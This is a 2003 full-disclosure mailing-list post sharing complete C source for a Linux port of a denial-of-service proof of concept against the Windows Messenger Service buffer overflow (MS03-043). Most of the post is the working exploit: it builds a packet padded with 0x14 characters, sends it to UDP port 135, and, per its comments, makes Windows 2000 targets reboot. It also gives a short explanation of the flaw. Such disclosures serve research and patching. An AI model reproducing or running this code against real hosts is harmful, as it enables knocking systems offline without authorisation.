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From: venom at gen-x.co.nz (VeNoMouS)
Subject: Linux Ported Version of MS03-043 DOS

btw sorry forgot to add, i tested this on sp3, so it effects sp4 and sp3
  ----- Original Message ----- 
  From: VeNoMouS 
  To: full-disclosure@...ts.netsys.com 
  Sent: Monday, October 20, 2003 2:33 PM
  Subject: [Full-Disclosure] Linux Ported Version of MS03-043 DOS


  Here you go guys or get it via www.gen-x.co.nz/ms03-043.c

  <<<<<<<<<<<<<<<<<< SNIP >>>>>>>>>>>>>>>>>>>>>>>>

  /*
  Mon Oct 20 14:26:55 NZDT 2003

  Re-written By VeNoMouS to be ported to linux, and tidy it up a little.
  This was only like a 5 minute port but it works and has been tested.
  venom@...-x.co.nz

  greets to str0ke and defy


  DoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard.
  Launching it one or two times against the target should make the
  machine reboot. Tested against a Win2K SP4.

  "The vulnerability results because the Messenger Service does not
  properly validate the length of a message before passing it to the allocated
  buffer" according to MS bulletin. Digging into it a bit more, we find that when

  a character 0x14 in encountered in the 'body' part of the message, it is
  replaced by a CR+LF. The buffer allocated for this operation is twice the size
  of the string, which is the way to go, but is then copied to a buffer which
  was only allocated 11CAh bytes. Thanks to that, we can bypass the length checks

  and overflow the fixed size buffer.

  Credits go to LSD :)

  */

  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  #include <errno.h>
  #include <time.h>

  #include <sys/types.h>
  #include <sys/socket.h>
  #include <arpa/inet.h>





  // Packet format found thanks to a bit a sniffing
  static unsigned char packet_header[] =
  "\x04\x00\x28\x00"
  "\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0"
  "\x4f\xb6\xe6\xfc"
  "\xff\xff\xff\xff" // @40 : unique id over 16 bytes ?
  "\xff\xff\xff\xff"
  "\xff\xff\xff\xff"
  "\xff\xff\xff\xff"
  "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\xff\xff\xff\xff"
  "\xff\xff\xff\xff" // @74 : fields length
  "\x00\x00";

  unsigned char field_header[] =
  "\xff\xff\xff\xff" // @0 : field length
  "\x00\x00\x00\x00"
  "\xff\xff\xff\xff"; // @8 : field length


  int usage(char *name)
  {
   printf("Proof of Concept for Windows Messenger Service Overflow..\n");
   printf("- Originally By Hanabishi Recca - recca@...l.ru\n\n");
   printf("- Ported to linux by VeNoMouS..\n");
   printf("- venom@...-x.co.nz\n\n\n");

   printf("example : %s -d yourputtersux -i 10.33.10.4 -s n0nlameputer\n",name);
   printf("\n-d <dest netbios name>\t-i <dest netbios ip>\n");
   printf("-s <src netbios name>\n");
   return 1;
  }


  int main(int argc,char *argv[])
  {
          int i, packet_size, fields_size, s;
          unsigned char packet[8192];
          struct sockaddr_in addr;
    char from[57],machine[57],c;
          char body[4096] = "*** MESSAGE ***";  

    if(argc <= 2) 
    {
    usage(argv[0]);
    exit(0);
    }

      while ((c = getopt (argc, argv, "d:i:s:h")) != EOF)
    switch(c)
     {
     case 'd':
        strncpy(machine,optarg,sizeof(machine));   
        printf("Machine is %s\n",machine);
        break;
     case 'i':
              memset(&addr, 0,sizeof(addr));
              addr.sin_family = AF_INET;
              addr.sin_addr.s_addr = inet_addr(optarg);
              addr.sin_port = htons(135);
        break;
     case 's':
              strncpy(from,optarg,sizeof(from));
        break;

     case 'h':
        usage(argv[0]);
        exit(0);
        break;
     }
        
          // A few conditions :
          // 0 <= strlen(from) + strlen(machine) <= 56
          // max fields size 3992

    if(!addr.sin_addr.s_addr) { printf("Ummm MOFO we need a dest IP...\n"); exit(0); }

          if(!strlen(machine)) { printf("Ummmm we also need the dest netbios name bro...\n"); exit(0); }

    if(!strlen(from)) strcpy(from,"tolazytotype");

          memset(packet,0, sizeof(packet));
          packet_size = 0;

          memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 1);
          packet_size += sizeof(packet_header) - 1;

          i = strlen(from) + 1;
          *(unsigned int *)(&field_header[0]) = i;
          *(unsigned int *)(&field_header[8]) = i;
          memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
          packet_size += sizeof(field_header) - 1;
          strcpy(&packet[packet_size], from);
          packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

          i = strlen(machine) + 1;
          *(unsigned int *)(&field_header[0]) = i;
          *(unsigned int *)(&field_header[8]) = i;
          memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
          packet_size += sizeof(field_header) - 1;
          strcpy(&packet[packet_size], machine);
          packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

          fprintf(stdout, "Max 'body' size (incl. terminal NULL char) = %d\n", 3992 - packet_size + sizeof(packet_header) - sizeof(field_header));
          memset(body, 0x14, sizeof(body));
          body[3992 - packet_size + sizeof(packet_header) - sizeof(field_header) - 1] = '\0';

          i = strlen(body) + 1;
          *(unsigned int *)(&field_header[0]) = i;
          *(unsigned int *)(&field_header[8]) = i;
          memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
          packet_size += sizeof(field_header) - 1;
          strcpy(&packet[packet_size], body);
          packet_size += i;

          fields_size = packet_size - (sizeof(packet_header) - 1);
          *(unsigned int *)(&packet[40]) = time(NULL);
          *(unsigned int *)(&packet[74]) = fields_size;

          fprintf(stdout, "Total length of strings = %d\nPacket size = %d\nFields size = %d\n", strlen(from) + strlen(machine) + strlen(body),packet_size, fields_size);


   if ((s = socket (AF_INET, SOCK_DGRAM, 0)) == -1 )
    {
     perror("Error socket() - ");
     exit(0);
    }
   
          if (sendto(s, packet, packet_size, 0, (struct sockaddr *)&addr, sizeof(addr)) == -1)
    {
     perror("Error sendto() - ");
     exit(0);
    }


          exit(0);
  }
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